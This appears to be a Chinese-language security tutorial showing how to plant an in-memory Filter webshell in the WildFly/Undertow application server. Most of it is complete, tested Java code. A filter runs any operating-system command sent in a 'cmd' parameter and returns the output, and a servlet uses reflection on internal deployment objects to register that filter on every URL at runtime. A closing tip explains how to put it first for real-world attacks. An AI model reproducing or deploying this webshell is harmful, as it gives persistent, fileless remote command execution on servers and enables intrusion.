WildFly,原名JBoss AS或者JBoss,是一套应用程序服务器,属于开源的企业级Java中间件软件,用于实现基于SOA架构的web应用和服务。
ServletContext servletContext = request.getServletContext();
FilterShell.java
package com.example.wildfly; import javax.servlet.*; import java.io.IOException; public class FilterShell implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest req, ServletResponse resp, FilterChain filterChain) throws IOException, ServletException { try { String cmd; if ((cmd = req.getParameter("cmd")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } resp.getOutputStream().write(stringBuilder.toString().getBytes()); resp.getOutputStream().flush(); resp.getOutputStream().close(); } filterChain.doFilter(req, resp); }catch (Exception e){ filterChain.doFilter(req, resp); } } @Override public void destroy() { } }
web.xml
<filter> <filter-name>FilterShell</filter-name> <filter-class>com.example.wildfly.FilterShell</filter-class> </filter> <filter-mapping> <filter-name>FilterShell</filter-name> <url-pattern>/index</url-pattern> </filter-mapping>
Tested Version: WildFly v18.0.0.Final
参考
拎出来,该反射的用反射实现就成
- 基于getServletContext()获取上下文Context
ServletContext servletContext = request.getServletContext();
- 生成恶意Filter
Filter evilFilter = new FilterShell();
- 构造FilterInfo
FilterInfo filter = new FilterInfo(evilFilter.getClass().getName(), evilFilter.getClass());
- 反射获取deploymentInfo,调用
public DeploymentInfo addFilter添加filter
Field deploymentInfoF = servletContext.getClass().getDeclaredField("deploymentInfo"); deploymentInfoF.setAccessible(true); DeploymentInfo deploymentInfo = (DeploymentInfo) deploymentInfoF.get(servletContext); deploymentInfo.addFilter(filter);
- 反射获取deployment,调用
public ManagedFilter addFilter将filterInfo添加到filters中
Field deploymentF= servletContext.getClass().getDeclaredField("deployment"); deploymentF.setAccessible(true); DeploymentImpl deployment = (DeploymentImpl) deploymentF.get(servletContext); deployment.getFilters().addFilter(filter);
- 调用
addFilterUrlMapping添加映射即可
deploymentInfo.addFilterUrlMapping(evilFilter.getClass().getName(), "/*", DispatcherType.REQUEST);
- 添加banner
response.getWriter().write("inject success !!!");
最终测试代码整合如下
package com.example.wildfly; import io.undertow.servlet.api.DeploymentInfo; import io.undertow.servlet.api.FilterInfo; import io.undertow.servlet.core.DeploymentImpl; import javax.servlet.*; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.lang.reflect.Field; /** * Tested version: * WildFly 18.0.0.Final * Wildfly 20.0.1.Final * WildFly 24.0.1.Final * */ public class FilterInject extends HttpServlet { public static class FilterShell implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd; if ((cmd = servletRequest.getParameter("cmd")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } } @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ServletContext servletContext = request.getServletContext(); Filter evilFilter = new FilterShell(); FilterInfo filterInfo = new FilterInfo(evilFilter.getClass().getName(), evilFilter.getClass()); Field deploymentInfoF = servletContext.getClass().getDeclaredField("deploymentInfo"); deploymentInfoF.setAccessible(true); DeploymentInfo deploymentInfo = (DeploymentInfo) deploymentInfoF.get(servletContext); deploymentInfo.addFilter(filterInfo); Field deploymentF= servletContext.getClass().getDeclaredField("deployment"); deploymentF.setAccessible(true); DeploymentImpl deployment = (DeploymentImpl) deploymentF.get(servletContext); deployment.getFilters().addFilter(filterInfo); deploymentInfo.addFilterUrlMapping(evilFilter.getClass().getName(), "/*", DispatcherType.REQUEST); response.getWriter().write("inject success !!!"); } catch (Exception e) { e.printStackTrace(); } } }
测试效果如图
注:实战场景也许有将evilFilter置首的需求,可使用
- io.undertow.servlet.api.DeploymentInfo#insertFilterUrlMapping
deploymentInfo.insertFilterUrlMapping(0,evilFilter.getClass().getName(),"/*",DispatcherType.REQUEST);



